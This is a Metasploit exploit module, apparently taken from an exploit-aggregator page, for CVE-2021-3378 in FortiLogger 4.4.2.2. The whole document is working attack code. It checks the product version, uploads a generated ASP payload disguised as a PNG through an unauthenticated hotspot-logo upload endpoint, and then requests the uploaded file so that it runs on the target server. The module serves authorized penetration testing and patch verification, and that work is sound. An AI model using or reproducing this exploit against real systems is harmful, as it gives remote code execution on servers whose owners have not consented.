Exploit for FortiLogger 4.4.2.2 Arbitrary File Upload CVE-2021-3378

## https://sploitus.com/exploit?id=PACKETSTORM:161601
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::EXE  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'FortiLogger Arbitrary File Upload Exploit',  
'Description' => %q{  
This module exploits an unauthenticated arbitrary file upload  
via insecure POST request. It has been tested on version 4.4.2.2 in  
Windows 10 Enterprise.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module  
],  
'References' =>  
[  
['CVE', '2021-3378'],  
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']  
],  
  
'Platform' => ['win'],  
'Privileged' => false,  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
[  
'FortiLogger - 4.4.2.2',  
{  
'Platform' => 'win'  
}  
],  
],  
'DisclosureDate' => '2021-02-26',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
Opt::RPORT(5000),  
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])  
], self.class  
)  
end  
  
def check_product_info  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),  
'method' => 'POST',  
'data' => '',  
'headers' => {  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Accept-Encoding' => 'gzip, deflate',  
'X-Requested-With' => 'XMLHttpRequest'  
}  
)  
  
return res  
end  
  
def check  
begin  
res = check_product_info  
if res && res.code == 200  
if JSON.parse(res.body)['Version'] == '4.4.2.2'  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
end  
end  
  
def create_payload  
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s  
end  
  
def exploit  
begin  
print_good('Generate Payload !')  
data = create_payload  
  
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n"  
post_data << "Content-Type: image/png\r\n"  
post_data << "\r\n#{data}\r\n"  
post_data << "--#{boundary}\r\n"  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' => {  
'Accept' => 'application/json',  
'Accept-Language' => 'en-US,en;q=0.5',  
'X-Requested-With' => 'XMLHttpRequest'  
}  
)  
if res && res.code == 200  
if JSON.parse(res.body)['Message'] == 'Error in saving file'  
print_error('Error for upload payload..')  
else  
print_good('Payload has been uploaded !')  
  
handler  
  
print_status('Executing payload...')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),  
'method' => 'GET'  
}, 5)  
end  
end  
end  
end  
end